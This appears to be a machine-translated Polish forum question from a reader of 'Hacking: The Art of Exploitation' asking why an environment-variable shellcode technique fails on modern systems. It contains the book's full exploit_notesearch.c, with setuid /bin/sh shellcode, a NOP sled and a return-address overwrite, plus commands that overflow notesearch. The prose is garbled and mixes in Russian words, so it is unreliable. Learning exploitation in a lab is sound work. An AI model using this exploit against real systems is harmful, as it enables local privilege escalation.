Dlaczego ten shell-kod nie działa?

Pracuję nad хакерством: Sztuką pracy i ma do czynienia ze swoim pierwszym problemem, próbując uruchomić znany pracy exploita z książki za pomocą zmiennej środowiskowej. Wszystkie programy zostały skompilowane z -fno-stack-protector -zexecstack -no-pie -fno-pie.

Odbywa się exploit_notesearch.c (choć z bardzo specyficznym offset), udało mi się zmusić do wykorzystania otworzyć powłokę, przenosząc przesunięcie z argv[1]. To działa na współczesnych systemach operacyjnych (z wyłączonym ASLR), a także na LiveCD, włączonym w książkę.

uwagi.c

exploit_notesearch.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=208;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

   strcat(command, "\'");

   system(command); // run exploit
   free(command);
}

Dalej w tym rozdziale ustawiamy shell-kod do zmiennej środowiska i staramy się przekierować strumień w to miejsce na stosie, na którym zainstalowany jest zmienna środowiskowa SHELL-kodu, w połowie dodane sanie NOP. Jednak to nigdy nie wykonuje wykorzystać na współczesnych systemach operacyjnych, ale świetnie działa na płycie cd Ubuntu 7.04 live, załączony do książki. shellcode.bin czy shell-kod w górnej części exploit_notesearch.c plik pobiegł z echo -en i jest przekierowywany do pliku.

$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
$ ./notesearch $(perl -e 'print "\x17\xf2\xff\xbf"x40') # Address halfway through NOP sled

Co tu się dzieje takiego, co się zmieniło między starymi osy i nowoczesne? Czy ochrona, o której nie znam, która nie pozwala jeździć na sankach NOP w шеллкод?

Dziękuję.